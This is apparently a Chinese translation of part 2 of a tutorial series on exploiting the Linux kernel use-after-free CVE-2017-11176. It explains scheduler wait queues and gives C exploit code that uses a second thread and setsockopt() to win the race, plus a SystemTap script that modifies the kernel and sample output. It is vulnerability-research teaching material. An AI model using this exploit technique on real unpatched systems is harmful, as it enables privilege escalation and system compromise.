CVE-2017-11176: 一步一步linux内核漏洞利用 (二)（阻塞）

lm0963 / 2019-06-02 07:53:00 / 浏览数 3667 安全技术 漏洞分析 顶(0) 踩(0)

本文翻译自：CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 2/4)

Introduction

在前面的文章中对CVE-2017-11176漏洞进行了详细分析并提出了一个攻击场景。

通过在内核空间强制触发漏洞来验证漏洞的可达性（在System Tap的帮助下），并构建了POC的第一个版本（只能到达漏洞代码路径，并不会崩溃）。

它揭示了触发漏洞所需的三个条件（以及如何满足它们）：

- 使netlink_attachskb()返回1
- 避免阻塞exp进程
- 第二次fget()调用返回NULL

在本文中，我们将尝试不使用System Tap脚本，并仅通过用户空间的代码满足这些条件。在本文结束时，我们将有一个完整的POC，可以可靠地触发漏洞。

目录

在第二个“核心概念”部分中，将介绍调度子系统。第一个重点是任务状态以及任务如何在各个状态之间转换。请注意，这里将不讨论实际的调度算法（Completely Fair Scheduler）。

主要说明等待队列，在本文中被用来解除阻塞的线程，并在exp利用期间获取任意调用原语（参见第3部分）。

任务状态

任务的运行状态由task_struct中的state字段表示。任务基本上处于下面其中一种状态（还有多种状态未列出）：

- Running：进程正在运行或已经准备就绪只等待在cpu上运行。
- Waiting：进程正在等待某种事件/资源。

“正在运行”任务（TASK_RUNNING）是属于运行队列的任务。它可以现在正在cpu上运行，也可以在不久的将来运行（由调度器选择）。

“等待”任务未在任何CPU上运行。它可以由等待队列或信号唤醒。等待任务的最常见状态是TASK_INTERRUPTIBLE（即“睡眠”可以被中断）。

译者注：关于任务状态可以参考这里的链接

这里定义了各种任务状态：

```
// [include/linux/sched.h]

#define TASK_RUNNING        0
#define TASK_INTERRUPTIBLE  1
// ... cut (other states) ...
```

可以直接修改state字段，也可以通过__set_current_state()来设置state字段。

```
// [include/linux/sched.h]

#define __set_current_state(state_value)            \
   do { current->state = (state_value); } while (0)
```

运行队列

struct rq(run
queue)是调度器最重要的数据结构之一。运行队列中的每个任务都将由CPU执行。每个CPU都有自己的运行队列（允许真正的多任务处理）。运行队列(run

queue)具有一个任务(由调度器选择在指定的CPU上运行)列表。还具有统计信息，使调度器做出"公平"选择并最终重新平衡每个cpu之间的负载（即cpu迁移）。

```
// [kernel/sched.c]

struct rq {
 unsigned long nr_running;   // <----- statistics
 u64 nr_switches;            // <----- statistics
 struct task_struct *curr;   // <----- the current running task on the cpu
 // ...
};
```

NOTE："完全公平调度器（CFS）"的任务列表的存储方式更加复杂，但在这里并没有太大影响。

为了简单起见，假设任何运行队列中移出的任务将不会被执行（即不会运行在CPU上）。deactivate_task()函数将任务从运行队列中移出。与之相反，activate_task()将任务

阻塞任务和schedule()函数

当任务从"正在运行"状态转换到"等待"状态时，至少需要做两件事：

- 将任务的运行状态设置为TASK_INTERRUPTIBLE
- 调用deactivate_task()以移出运行队列

实际上，一般不会直接调用deactivate_task()，而是调用schedule()（见下文）。

schedule()函数是调度器的主要函数。调用schedule()时，必须选择下一个在CPU上运行的任务。也就是说，必须更新运行队列的curr字段。

但是，如果调用schedule()时当前任务状态并不是正在运行（即state字段不为0），并且没有信号挂起，则会调用deactivate_task()：

```
asmlinkage void __sched schedule(void)
     {
       struct task_struct *prev, *next;
       unsigned long *switch_count;
       struct rq *rq;
       int cpu;

         // ... cut ...

       prev = rq->curr;    // <---- "prev" is the task running on the current CPU

       if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) {   // <----- ignore the "preempt" stuff
         if (unlikely(signal_pending_state(prev->state, prev)))
           prev->state = TASK_RUNNING;
         else
           deactivate_task(rq, prev, DEQUEUE_SLEEP);     // <----- task is moved out of run queue
         switch_count = &prev->nvcsw;
       }

       // ... cut (choose the next task) ...
     }
```

最后，可以通过如下代码阻塞任务：

```
void make_it_block(void)
{
 __set_current_state(TASK_INTERRUPTIBLE);
 schedule();
}
```

任务将被阻塞，直到其他东西唤醒它。

等待队列

任务等待资源或特殊事件非常普遍。例如，如果运行服务器(客户端-服务器（Client/Server）架构里的Server)，主线程可能正在等待即将到来的连接。除非它被标记为"非阻

等待队列基本上是由当前阻塞(等待)的任务组成的双链表。与之相对的是运行队列。队列本身用wait_queue_head_t表示：

```
// [include/linux/wait.h]

typedef struct __wait_queue_head wait_queue_head_t;

struct __wait_queue_head {
```

```
   spinlock_t lock;
   struct list_head task_list;
};
```

NOTE：struct list_head是Linux实现双链表的方式。

等待队列的每个元素都具有wait_queue_t：

```
// [include/linux.wait.h]

typedef struct __wait_queue wait_queue_t;
typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);

struct __wait_queue {
   unsigned int flags;
   void *private;
   wait_queue_func_t func;     // <----- we will get back to this
   struct list_head task_list;
};
```

可以通过DECLARE_WAITQUEUE()宏创建一个等待队列元素...

```
// [include/linux/wait.h]

#define __WAITQUEUE_INITIALIZER(name, tsk) {                \
   .private    = tsk,                       \
   .func       = default_wake_function,            \
   .task_list  = { NULL, NULL } }

#define DECLARE_WAITQUEUE(name, tsk)                    \
   wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk) // <----- it creates a variable!
```

...可以这样调用：

```
DECLARE_WAITQUEUE(my_wait_queue_elt, current); // <----- use the "current" macro
```

最后，一旦声明了一个等待队列元素，就可以通过add_wait_queue()函数将其加入到等待队列中。它基本上只是通过适当的加锁（暂时不用管）并将元素添加到双向链表中

```
// [kernel/wait.c]

void add_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
   unsigned long flags;

   wait->flags &= ~WQ_FLAG_EXCLUSIVE;
   spin_lock_irqsave(&q->lock, flags);
   __add_wait_queue(q, wait);              // <----- here
   spin_unlock_irqrestore(&q->lock, flags);
}

static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
{
   list_add(&new->task_list, &head->task_list);
}
```

唤醒任务

到目前为止，我们知道有两种队列：运行队列和等待队列。阻塞任务就是将其从运行队列中删除（通过deactivate_task()）。但它如何从阻塞（睡眠）状态转换回运行状态？

NOTE：阻塞的任务可以通过信号（和其他方式）唤醒，但在本文中不会讨论这些。

由于被阻塞的任务不再运行，因此无法自行唤醒。需要由别的任务唤醒它。

特定资源具有特定的等待队列。当任务想要访问此资源但此时不可用时，该任务可以使自己处于睡眠状态，直到资源所有者将其唤醒为止。

为了在资源可用时被唤醒，它必须将自己注册到该资源的等待队列。正如我们之前看到的，这个“注册”是通过add_wait_queue()调用完成的。

当资源可用时，所有者唤醒一个或多个任务，以便他们可以继续执行。这是通过__wake_up()函数完成的：

```
// [kernel/sched.c]
```

```
/**
* __wake_up - wake up threads blocked on a waitqueue.
* @q: the waitqueue
* @mode: which threads
* @nr_exclusive: how many wake-one or wake-many threads to wake up
* @key: is directly passed to the wakeup function
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/

void __wake_up(wait_queue_head_t *q, unsigned int mode,
            int nr_exclusive, void *key)
{
   unsigned long flags;

   spin_lock_irqsave(&q->lock, flags);
   __wake_up_common(q, mode, nr_exclusive, 0, key);    // <----- here
   spin_unlock_irqrestore(&q->lock, flags);
}

// [kernel/sched.c]

   static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
         int nr_exclusive, int wake_flags, void *key)
   {
     wait_queue_t *curr, *next;

[0]   list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
       unsigned flags = curr->flags;

[1]     if (curr->func(curr, mode, wake_flags, key) &&
           (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
         break;
     }
   }
```

此函数迭代等待队列中的每个元素[0]（list_for_each_entry_safe()是与双链表一起使用的宏）。对每个元素都调用func()回调函数[1]。

还记得DECLARE_WAITQUEUE()宏吗？它将func设置为default_wake_function()：

```
// [include/linux/wait.h]

#define __WAITQUEUE_INITIALIZER(name, tsk) {                \
   .private    = tsk,                       \
   .func       = default_wake_function,            \                 // <------
   .task_list  = { NULL, NULL } }

#define DECLARE_WAITQUEUE(name, tsk)                     \
   wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk)
```

default_wake_function()将等待队列元素的private字段（在大多数情况下指向睡眠任务的task_struct）作为参数调用try_to_wake_up()：

```
int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags,
             void *key)
{
   return try_to_wake_up(curr->private, mode, wake_flags);
}
```

最后，try_to_wake_up()有点像schedule()的“对立面”。schedule()将当前任务“调度出去”，try_to_wake_up()使其再次可调度。也就是说，它将任务加入运行队列中并更改

```
static int try_to_wake_up(struct task_struct *p, unsigned int state,
             int wake_flags)
{
   struct rq *rq;

   // ... cut (find the appropriate run queue) ...

out_activate:
   schedstat_inc(p, se.nr_wakeups);              // <----- update some stats
```

```
   if (wake_flags & WF_SYNC)
       schedstat_inc(p, se.nr_wakeups_sync);
   if (orig_cpu != cpu)
       schedstat_inc(p, se.nr_wakeups_migrate);
   if (cpu == this_cpu)
       schedstat_inc(p, se.nr_wakeups_local);
   else
       schedstat_inc(p, se.nr_wakeups_remote);
   activate_task(rq, p, en_flags);               // <----- put it back to run queue!
   success = 1;

   p->state = TASK_RUNNING;                      // <----- the state has changed!

   // ... cut ...
}
```

这里调用了activate_task()。因为任务现在回到运行队列中并且其状态为TASK_RUNNING，所以它有可能会被调度，回到之前调用schedule()中断的地方继续执行。

实际上很少直接调用__wake_up()。通常会调用这些辅助宏：

```
// [include/linux/wait.h]

#define wake_up(x)          __wake_up(x, TASK_NORMAL, 1, NULL)
#define wake_up_nr(x, nr)       __wake_up(x, TASK_NORMAL, nr, NULL)
#define wake_up_all(x)          __wake_up(x, TASK_NORMAL, 0, NULL)

#define wake_up_interruptible(x)    __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL)
#define wake_up_interruptible_nr(x, nr) __wake_up(x, TASK_INTERRUPTIBLE, nr, NULL)
#define wake_up_interruptible_all(x)    __wake_up(x, TASK_INTERRUPTIBLE, 0, NULL)
```

一个完整的例子

这是一个简单的例子来总结上述概念：

```
struct resource_a {
 bool resource_is_ready;
 wait_queue_head_t wq;
};

void task_0_wants_resource_a(struct resource_a *res)
{
 if (!res->resource_is_ready) {
   // "register" to be woken up
   DECLARE_WAITQUEUE(task0_wait_element, current);
   add_wait_queue(&res->wq, &task0_wait_element);

   // start sleeping
   __set_current_state(TASK_INTERRUPTIBLE);
   schedule();

   // We'll restart HERE once woken up
   // Remember to "unregister" from wait queue
 }

 // XXX: ... do something with the resource ...
}

void task_1_makes_resource_available(struct resource_a *res)
{
 res->resource_is_ready = true;
 wake_up_interruptible_all(&res->wq);  // <--- unblock "task 0"
}
```

一个线程运行task_0_wants_resource_a()函数，该线程因"资源"不可用而阻塞。在晚些时候，资源所有者（来自另一个线程）使资源可用并调用task_1_makes_resource_av

这是在Linux内核代码中经常可以看到的模式。注意，"资源"在这里是一个泛指。任务可以等待某个事件，某个条件为真或其他东西。

让我们继续前进并开始实现POC。

主线程解除阻塞

在上一篇文章中，我们尝试使netlink_attachskb()返回1时遇到了几个问题。第一个问题是对mq_notify()的调用变为阻塞。为了避免这种情况，我们简单地绕过了对schedu
Tap脚本的帮助下完成的：

```
function force_trigger:long (arg_sock:long)
   %{
     struct sock *sk = (void*) STAP_ARG_arg_sock;
[0]   sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread

     struct netlink_sock *nlk = (void*) sk;
     nlk->state |= 1;   // enter the netlink_attachskb() retry path

     struct files_struct *files = current->files;
     struct fdtable *fdt = files_fdtable(files);
     fdt->fd[3] = NULL; // makes the second call to fget() fails
   %}
```

在本节中，我们将尝试删除设置sk的sk_flags字段的行[0]。这意味着mq_notify()的调用将再次阻塞。有两种可能：

- 设置sk的sk_flags为SOCK_DEAD（如STAP脚本所做）
- 线程解除阻塞

控制（并赢得）竞态

从漏洞利用者的角度来看，主线程被阻塞实际上是一件好事。还记得补丁描述中的“small window”吗？我们的攻击场景是什么？

Thread-1	Thread-2	file refcnt	sock refcnt	sock ptr
mq_notify()		1	1	NULL
fget(<target_fd>) -> ok</target_fd>		2 (+1)	1	NULL
netlink_getsockbyfilp() -> ok		2	2 (+1)	0xffffffc0aabbccdd
fput(<target_fd>) -> ok</target_fd>		1 (-1)	2	0xffffffc0aabbccdd
netlink_attachskb() -> returns 1		1	1 (-1)	0xffffffc0aabbccdd
	close(<target_fd>)</target_fd>	0 (-1)	0 (-1)	0xffffffc0aabbccdd
goto retry		FREE	FREE	0xffffffc0aabbccdd
fget(<TARGET_FD) -> returns NULL		FREE	FREE	0xffffffc0aabbccdd
goto out		FREE	FREE	0xffffffc0aabbccdd
netlink_detachskb() -> UAF!		FREE	(-1) in UAF	0xffffffc0aabbccdd

所以，“small window”是我们有机会调用close()的地方。提醒一下，调用close()将使对fget()的调用返回NULL。竞态条件的窗口期起始于第一次调用fget()成功后，并终止于第二次调用f
stap脚本中我们实际上是在调用netlink_attachskb()之前就模拟close操作了（没有真的调用close）。

如果绕过不执行schedule_timeout()，那么窗口期确实“很小”。在调用netlink_attachskb()之前通过STAP脚本修改了内核数据结构，但在用户空间无法这样做。

另一方面，如果我们可以阻塞在netlink_attachskb()中并有办法解除阻塞，那么窗口期就要多长就有多长，也就是说，我们有办法控制竞态条件，可以将其视为主线程中的“

攻击计划变为：

Thread-1	Thread-2	file refcnt	sock refcnt	sock ptr
mq_notify()		1	1	NULL
fget(<target_fd>) -> ok</target_fd>		2 (+1)	1	NULL
netlink_getsockbyfilp() -> ok		2	2 (+1)	0xffffffc0aabbccdd
fput(<target_fd>) -> ok</target_fd>		1 (-1)	2	0xffffffc0aabbccdd
netlink_attachskb()		1	2	0xffffffc0aabbccdd
schedule_timeout() -> SLEEP		1	2	0xffffffc0aabbccdd
	close(<target_fd>)</target_fd>	0 (-1)	1 (-1)	0xffffffc0aabbccdd
	UNBLOCK THREAD-1	FREE	1	0xffffffc0aabbccdd
<<< Thread-1 wakes up >>>				
sock_put()		FREE	0 (-1)	0xffffffc0aabbccdd
netlink_attachskb() -> returns 1		FREE	FREE	0xffffffc0aabbccdd
goto retry		FREE	FREE	0xffffffc0aabbccdd

fget(<TARGET_FD) -> returns NULL	FREE	FREE	0xffffffc0aabbccdd
goto out	FREE	FREE	0xffffffc0aabbccdd
netlink_detachskb() -> UAF!	FREE	(-1) in UAF	0xffffffc0aabbccdd

阻塞主线程似乎是赢得竞态条件的好主意，但这意味着我们现在需要解除阻塞的线程。

解除阻塞

如果你现在还不理解"核心概念 #2"部分，那最好再看一下那部分内容。在本节中，我们将看到netlink_attachskb()如何开始阻塞以及如何解除阻塞。

再看一下netlink_attachskb()代码：

```
// [net/netlink/af_netlink.c]

   int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
             long *timeo, struct sock *ssk)
   {
     struct netlink_sock *nlk;

     nlk = nlk_sk(sk);

     if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
[0]     DECLARE_WAITQUEUE(wait, current);

       if (!*timeo) {
         // ... cut (unreachable code from mq_notify) ...
       }

[1]     __set_current_state(TASK_INTERRUPTIBLE);
[2]     add_wait_queue(&nlk->wait, &wait);

[3]     if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
           !sock_flag(sk, SOCK_DEAD))
[4]       *timeo = schedule_timeout(*timeo);

[5]     __set_current_state(TASK_RUNNING);
[6]     remove_wait_queue(&nlk->wait, &wait);

       sock_put(sk);

       if (signal_pending(current)) {
         kfree_skb(skb);
         return sock_intr_errno(*timeo);
       }
       return 1;
     }
     skb_set_owner_r(skb, sk);
     return 0;
   }
```

这些代码现在看起来很熟悉。__set_current_state(TASK_INTERRUPTIBLE)[1]和schedule_timeout()[4]组合使当前线程阻塞。[3]处的条件成真，因为：

- 通过System Tap设置状态：nlk->state|=1
- sk状态不再是SOCK_DEAD，System Tap中删除了这一行：sk->sk_flags|=(1<<SOCK_DEAD)

NOTE：调用schedule_timeout(MAX_SCHEDULE_TIMEOUT)实际上等同于调用schedule()。

如果阻塞线程已经加入到等待队列（译者注：原文是wake
queue，可能是作者打错？），则可以通过其他方式将其唤醒。通过[0]和[2]处将线程加入等待队列，而在[6]处移出等待队列。此处等待队列本身是nlk->wait。它属于netli

```
struct netlink_sock {
   /* struct sock has to be the first member of netlink_sock */
   struct sock     sk;
 // ... cut ...
   wait_queue_head_t   wait;           // <----- the wait queue
 // ... cut ...
};
```

这意味着，唤醒(此处)被阻塞的线程是netlink_sock对象的责任。

nlk->wait等待队列在四个地方被实际使用：

- __netlink_create()
- netlink_release()
- netlink_rcv_wake()
- netlink_setsockopt()

__netlink_create()在netlink套接字创建期间调用。通过init_waitqueue_head()初始化一个空的等待队列。

netlink_rcv_wake()由netlink_recvmsg()调用并在内部调用wake_up_interruptible()。它实际上是有道理的，产生阻塞的第一个原因可能是由于接收缓冲区已满。如果调用r

当关联的文件对象即将被释放时（引用计数为0），将调用netlink_release()。它会调用wake_up_interruptible_all()。

最后，可以通过系统调用setsockopt()调用netlink_setsockopt()。如果参数"optname"是NETLINK_NO_ENOBUFS，则会调用wake_up_interruptible()。

现在有三个候选者来唤醒我们的线程（__netlink_create()被排除在外，因为它没有唤醒任何东西）。面对这些选择，我们需要一条这样的路径：

- 快速到达所需目标（在我们的例子中是wake_up_interruptible()）。尽可能少的调用过程，尽可能少的"条件"需要满足.....
- 对内核几乎没有影响/副作用（没有内存分配，没有影响其他数据结构.....）

出于漏洞利用原因，排除netlink_release()路径。在第3部分会有说明。

netlink_rcv_wake()是最"复杂"的路径。在系统调用"recvmsg()"调用netlink_rcv_wake()之前，还需要满足通用套接字API中的几个检查。函数调用流程是：

```
- SYSCALL_DEFINE3(recvmsg)
- __sys_recvmsg
- sock_recvmsg
- __sock_recvmsg
- __sock_recvmsg_nosec  // calls sock->ops->recvmsg()
- netlink_recvmsg
- netlink_rcv_wake
- wake_up_interruptible
```

相比之下，"setsockopt()"的调用流程是：

```
- SYSCALL_DEFINE5(setsockopt) // calls sock->ops->setsockopt()
- netlink_setsockopt()
- wake_up_interruptible
```

更简单，不是吗？

从setsockopt系统调用到wake_up_interruptible()

从setsockopt系统调用到wake_up_interruptible()是最简单的方法。让我们分析一下需要满足的条件：

```
// [net/socket.c]

   SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
       char __user *, optval, int, optlen)
   {
     int err, fput_needed;
     struct socket *sock;

[0]   if (optlen < 0)
       return -EINVAL;

     sock = sockfd_lookup_light(fd, &err, &fput_needed);
[1]   if (sock != NULL) {
       err = security_socket_setsockopt(sock, level, optname);
[2]    if (err)
         goto out_put;

[3]    if (level == SOL_SOCKET)
         err =
             sock_setsockopt(sock, level, optname, optval,
                 optlen);
       else
         err =
[4]           sock->ops->setsockopt(sock, level, optname, optval,
                 optlen);
```

```
   out_put:
       fput_light(sock->file, fput_needed);
     }
     return err;
   }
```

setsockopt系统调用中需要满足如下条件：

- [0] - optlen不为负
- [1] - fd是一个有效的套接字
- [2] - LSM必须允许我们为此套接字调用setsockopt()
- [3] - level不等于SOL_SOCKET

如果我们满足这些条件，它将调用netlink_setsockopt()[4]：

```
// [net/netlink/af_netlink.c]

   static int netlink_setsockopt(struct socket *sock, int level, int optname,
                char __user *optval, unsigned int optlen)
   {
     struct sock *sk = sock->sk;
     struct netlink_sock *nlk = nlk_sk(sk);
     unsigned int val = 0;
     int err;

[5]   if (level != SOL_NETLINK)
       return -ENOPROTOOPT;

[6]   if (optlen >= sizeof(int) && get_user(val, (unsigned int __user *)optval))
       return -EFAULT;

     switch (optname) {
       // ... cut (other options) ...

[7]   case NETLINK_NO_ENOBUFS:
[8]     if (val) {
         nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
         clear_bit(0, &nlk->state);
[9]       wake_up_interruptible(&nlk->wait);
       } else
         nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
       err = 0;
       break;
     default:
       err = -ENOPROTOOPT;
     }
     return err;
   }
```

有一些额外的条件需要满足：

- [5] - level必须等于SOL_NETLINK
- [6] - optlen必须大于或等于sizeof(int)，optval应指向可读内存地址。
- [7] - optname必须等于NETLINK_NO_ENOBUFS
- [8] - val不为0

如果我们满足所有条件，将会调用wake_up_interruptible()来唤醒被阻塞的线程[9]。最后，以下代码片段完成此工作：

```
int sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC); // same socket used by blocking thread
int val = 3535; // different than zero
_setsockopt(sock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));
```

更新exp

我们了解了如何通过setsockopt()调用wake_up_interruptible()。但是有一个问题：如何在阻塞的情况下调用函数？答案是：使用多线程！

创建另一个线程（unblock_thread），并更新exp（编译时带有"-pthread"选项）：

```
struct unblock_thread_arg
   {
     int fd;
     bool is_ready;  // we could use pthread's barrier here instead
   };

   static void* unblock_thread(void *arg)
   {
     struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
     int val = 3535; // need to be different than zero

     // notify the main thread that the unblock thread has been created
     uta->is_ready = true;
     // WARNING: the main thread *must* directly call mq_notify() once notified!
     sleep(5); // gives some time for the main thread to block

     printf("[unblock] unblocking now\n");
     if (_setsockopt(uta->fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
       perror("setsockopt");
     return NULL;
   }

   int main(void)
   {
     struct sigevent sigev;
     char sival_buffer[NOTIFY_COOKIE_LEN];
     int sock_fd;
     pthread_t tid;
     struct unblock_thread_arg uta;

     // ... cut ...

     // initialize the unblock thread arguments, and launch it
     memset(&uta, 0, sizeof(uta));
     uta.fd = sock_fd;
     uta.is_ready = false;
     printf("creating unblock thread...\n");
     if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
     {
       perror("pthread_create");
       goto fail;
     }
     while (uta.is_ready == false) // spinlock until thread is created
       ;
     printf("unblocking thread has been created!\n");

     printf("get ready to block\n");
     if (_mq_notify((mqd_t)-1, &sigev))
     {
       perror("mq_notify");
       goto fail;
     }
     printf("mq_notify succeed\n");

     // ... cut ...
   }
```

调用pthread_create()创建线程（会产生新的task_struct）并启动。但这并不意味着新线程会立即运行。为了确保新线程已经开始运行，我们使用了一个自旋锁：uta->is_re

NOTE：自旋锁是最简单的锁。基本上一直循环直到变量改变。这里不用原子操作的原因是只有一个写者和一个读者。

主线程陷入循环，直到unblock_thread线程解锁（将"is_ready"设置为true）。使用pthread的屏障可以实现同样的目的（但并不总是可用）。这里的自旋锁是可选的，它只

假设在pthread_create()之后，主线程被抢占了一段"很长"的时间（即没有在执行）。可能有以下顺序：

Thread-1	Thread-2
pthread_create()	
	<<< new task created >>>
<<< preempted >>>	
	<<< thread starts >>>

<<< still...
...preempted >>>   setsockopt() -> succeed
mq_notify()
=> start BLOCKING

在这种情况下，会在mq_notify阻塞之前就调用了“setsockopt()”。这样子并不会解除主线程的阻塞。所以在解锁主线程（设置"is_ready"为真）后需要sleep(5)。主线程至少

- 如果主线程在5秒后仍然被抢占，则目标系统负载很重，那么就不应该运行exp。
- 如果unblock_thread线程“竞争”主线程（在mq_notify()之前就调用了setsockopt()）那么我们总是可以通过CTRL+C退出。这样做会使netlink_attachskb()返回“-EREST

更新STAP脚本

在运行新exp之前，我们需要编辑STAP脚本。当前的STAP脚本在调用netlink_attachskb()之前就删除了netlink套接字（fd=3）。这意味着如果我们在netlink_attachskb()中
File Descriptor”错误（并不会执行到netlink_setsockopt()）。

修改STAP脚本，在netlink_attachskb()返回时才删除FDT中的fd“3”：

```
# mq_notify_force_crash.stp
#
# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)

%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}

function force_trigger_before:long (arg_sock:long)
%{
 struct sock *sk = (void*) STAP_ARG_arg_sock;
 struct netlink_sock *nlk = (void*) sk;
 nlk->state |= 1;   // enter the netlink_attachskb() retry path

 // NOTE: We do not mark the sock as DEAD anymore
%}

function force_trigger_after:long (arg_sock:long)
%{
 struct files_struct *files = current->files;
 struct fdtable *fdt = files_fdtable(files);
 fdt->fd[3] = NULL; // makes the second call to fget() fails
%}


probe kernel.function ("netlink_attachskb")
{
 if (execname() == "exploit")
 {
   force_trigger_before($sk);
 }
}

probe kernel.function ("netlink_attachskb").return
{
 if (execname() == "exploit")
 {
   force_trigger_after(0);
 }
}
```

与之前一样，添加更多探针，以便看到代码流程。有以下输出：

```
$ ./exploit
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
creating unblock thread...
unblocking thread has been created!
get ready to block

<<< we get stuck here during ~5secs >>>
```

```
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!

(15981-15981) [SYSCALL] ==>> mq_notify (-1, 0x7fffbd130e30)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> skb_put (skb=0xffff8800302551c0 len=0x20)
(15981-15981) [skb] <<== skb_put = ffff88000a015600
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = ffff8800314869c0
(15981-15981) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff8800314869c0)
(15981-15981) [netlink] <<== netlink_getsockbyfilp = ffff8800300ef800
(15981-15981) [netlink] ==>> netlink_attachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0 timeo=0xffff88000b157f40 ssk=0x0)
(15981-15981) [sched] ==>> schedule_timeout (timeout=0x7fffffffffffffff)
(15981-15981) [sched] ==>> schedule ()
(15981-15981) [sched] ==>> deactivate_task (rq=0xffff880003c1f3c0 p=0xffff880031512200 flags=0x1)
(15981-15981) [sched] <<== deactivate_task =

<<< we get stuck here during ~5secs >>>

(15981-15981) [sched] <<== schedule =
(15981-15981) [sched] <<== schedule_timeout = 7fffffffffffffff
(15981-15981) [netlink] <<== netlink_attachskb = 1              // <----- returned 1
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = 0                               // <----- returned 0
(15981-15981) [netlink] ==>> netlink_detachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0)
(15981-15981) [netlink] <<== netlink_detachskb
(15981-15981) [SYSCALL] <<== mq_notify= -9
```

NOTE：为简单起见，已删除其他线程的输出。

主线程在netlink_attachskb()中阻塞了5秒，通过其他线程解除主线程阻塞并且netlink_attachskb()返回1！

在本节中，我们了解了如何延长竞态窗口期（延长至5秒），如何通过setsockopt()唤醒主线程。还介绍了可能在exp中发生的"竞争"，以及如何通过简单的技巧降低其发生概

译者注：下一部分链接

上一篇：深入理解逆向工具之架构规范 下一篇：Windows 平台反调试相关的技...
1. 0 条回复
   - 动动手指，沙发就是你的了！